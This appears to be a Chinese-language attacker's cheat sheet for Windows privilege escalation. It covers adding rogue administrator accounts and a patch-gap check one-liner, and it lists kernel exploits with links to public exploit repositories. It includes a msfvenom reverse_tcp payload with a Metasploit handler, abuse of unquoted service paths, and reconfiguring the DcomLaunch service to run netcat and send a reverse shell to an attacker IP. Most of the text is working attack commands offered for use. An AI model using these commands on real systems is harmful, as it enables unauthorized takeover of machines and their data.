Windows提權
常見提權方法
溢出漏洞提權(系統提權)
資料庫提權
第三方應用軟體提權
CMD指令無法執行的原因分析
1、主要原因是CMD.exe被管理者降級或者删除,也有可能是元件被删除
2、解決辦法通過腳本木馬查找可讀寫目錄,上傳cmd.exe,調用cmd路徑執行指令(找可讀寫目錄不要選帶空格的
菜刀設定cmd路徑指令:setp c:\wmpub\cmd.exe
提權常用指令
whoami
- 檢視使用者權限
systeminfo
- 檢視作業系統,更新檔情況
ipconfig
- 檢視目前伺服器IP ipconfig /all
net user
- 檢視目前使用者情況
- net user best 123456 /add 添加使用者名為best,密碼為123456
- net localgroup administrators best /add 将使用者名為best的使用者添加到管理者組
- net user best /del 删除best使用者
netstat
- 檢視目前網絡連接配接情況,netstat -nao /netstat -an |find “ESTABLISHED”
tasklist
- 檢視目前程序情況 tasklist /svc
taskkill
- 結束進城 taskkill -pid xxx -pid xxx
net start
- 啟動服務
net stop
- 停止服務
提權常用漏洞
微軟官方時刻關注清單網址
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
快速查找未打更新檔的 exp,可以最安全的減少目标機的未知錯誤,以免影響業務。 指令行下執行檢測未打更新檔指令如下:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i “%i”|| @echo %i you can fuck)&del /f /q /a micropoor.txt
已對外公開exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
-
常用exp備注:
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) MS14-070 [KB2989935] [Kernel Driver] (2003) MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
- MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) MS14-002 [KB2914368] [NDProxy] (2003/XP) MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) MS11-080 [KB2592799] [AFD.sys] (2003/XP) MS11-062 [KB2566454] [NDISTAPI] (2003/XP) MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) MS10-092 [KB2305420] [Task Scheduler] (2008/7) MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) MS09-050 [KB975517][Remote Code Execution] (2008/Vista) MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) MS08-068 [KB957097] [Remote Code Execution] (2000/XP) MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-066 [] [] (Windows 2000/XP/Server 2003) MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
提權執行個體
生成木馬并監聽
-
木馬生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe
-
本地監聽:
msf > use exploit/multi/handler
msf > exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(handler) > set lhost 10.0.0.217
msf > exploit(handler) > set lport 4444
msf > exploit(handler) > exploit
-
payload位置
exploit/Windows/local/
- 檢視目前權限getuid
- 提權 getsystem
-
sc 系統服務提權
- SC 是用于與服務控制管理器和服務進行通信的指令行程式。提供的功能類似于“控制台”中“管理工具”項中的“服務”。
-
建立一個名叫syscmd的新的互動式的cmd服務
sc Create syscmd binPath= “cmd /K start” type= own type= interact
-
啟動服務
sc start systcmd
-
停止服務
sc stop syscmd
-
删除服務
sc delete system
-
-
不帶引号的服務路徑
路徑中存在空格
- 檢視錯誤配置的路徑
- wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\” |findstr /i /v “”"
-
當Windows服務運作時,會發生以下兩種情況之一。如果給出了可執行檔案,并且引用了完整路徑,則系統會按字面解釋它并執行。但是,如果服務的二進制路徑未包含在引号中,則作業系統将會執行找到的空格分隔的服務路徑的第一個執行個體。
将木馬命名為錯誤路徑中存在空格的位置,并重命名為空格前面的名字,系統加載該服務時就會運作木馬程式
不安全的配置權限
- 1、利用系統自帶的 DcomLaunch服務測試
-
“sc qc DcomLaunch”指令查詢DcomLaunch的詳細資訊
net start | find “DCOM Server Process Launcher” 檢視服務是否啟動
運作 tasklist /svc 找到對應服務
-
- 2、接下來就是修改服務并擷取系統權限
-
我們把nc放到c:\windows\temp目錄下
使用sc對服務進行修改
sc config DcomLaunch binpath= “C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe”
*注意binpath=後面一定要有個空格
-
- 3、sc qc DcomLaunch 檢視是否第二步成功
- 4、sc config DcomLaunch obj= “.\LocalSystem” password= “”
-
obj:指定運作服務将使用的帳戶名,或指定運作驅動程式将使用的 Windows 驅動程式對象名。
預設設定為 LocalSystem。
password:指定一個密碼。如果使用了非 LocalSystem 的帳戶,則此項是必需的。
-
- 5、最後使用 net start DcomLaunch 指令重新開機這個服務
-
6、攻擊機上用nc進行監聽4433即可得到反彈的shell
nc.exe -vv -l -p 4433